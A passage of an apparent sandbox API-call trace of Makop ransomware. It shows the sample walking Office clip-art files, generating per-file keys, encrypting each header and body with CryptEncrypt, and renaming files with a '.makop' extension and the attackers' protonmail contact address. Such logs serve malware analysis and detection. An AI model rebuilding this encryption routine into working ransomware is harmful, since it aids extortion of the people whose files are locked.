Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.111] CloseHandle (hObject=0x130) returned 1 [0166.111] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0166.111] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF") returned 70 [0166.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.114] GetProcessHeap () returned 0x48a0000 [0166.114] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.114] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0166.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.118] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.118] GetProcessHeap () returned 0x48a0000 [0166.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.118] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.118] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.118] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.118] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.119] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.119] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.119] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.119] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.119] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.120] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc6e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc6e, lpOverlapped=0x0) returned 1 [0166.120] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc70, dwBufLen=0xc70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc70) returned 1 [0166.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.120] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc70, lpOverlapped=0x0) returned 1 [0166.120] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.120] SetEndOfFile (hFile=0x130) returned 1 [0166.127] GetProcessHeap () returned 0x48a0000 [0166.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.127] GetProcessHeap () returned 0x48a0000 [0166.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.127] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.130] CloseHandle (hObject=0x130) returned 1 [0166.130] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0166.130] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF") returned 70 [0166.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.131] GetProcessHeap () returned 0x48a0000 [0166.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.132] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.132] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.135] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.135] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.135] GetProcessHeap () returned 0x48a0000 [0166.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.135] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.135] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.135] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.136] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.136] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.136] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.136] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.136] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.136] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc4c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc4c, lpOverlapped=0x0) returned 1 [0166.137] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc50, dwBufLen=0xc50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc50) returned 1 [0166.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.137] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc50, lpOverlapped=0x0) returned 1 [0166.137] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.137] SetEndOfFile (hFile=0x130) returned 1 [0166.144] GetProcessHeap () returned 0x48a0000 [0166.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.144] GetProcessHeap () returned 0x48a0000 [0166.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.144] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.146] CloseHandle (hObject=0x130) returned 1 [0166.146] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0166.146] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF") returned 70 [0166.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.148] GetProcessHeap () returned 0x48a0000 [0166.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.148] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.148] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.152] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.152] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.152] GetProcessHeap () returned 0x48a0000 [0166.152] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.152] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.152] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.152] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.152] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.152] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.153] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.153] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.153] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.153] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x738, lpOverlapped=0x0) returned 1 [0166.153] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x740) returned 1 [0166.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.154] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x740, lpOverlapped=0x0) returned 1 [0166.154] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.154] SetEndOfFile (hFile=0x130) returned 1 [0166.160] GetProcessHeap () returned 0x48a0000 [0166.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.160] GetProcessHeap () returned 0x48a0000 [0166.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.160] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.162] CloseHandle (hObject=0x130) returned 1 [0166.162] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0166.162] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF") returned 70 [0166.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.163] GetProcessHeap () returned 0x48a0000 [0166.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.163] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.163] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.167] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.168] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.168] GetProcessHeap () returned 0x48a0000 [0166.168] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.168] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.168] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.168] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.169] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.169] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.169] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.169] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.169] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.170] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3d5c, lpOverlapped=0x0) returned 1 [0166.171] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d60) returned 1 [0166.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.172] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3d60, lpOverlapped=0x0) returned 1 [0166.172] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.172] SetFilePointerEx (in: hFile=0x130, 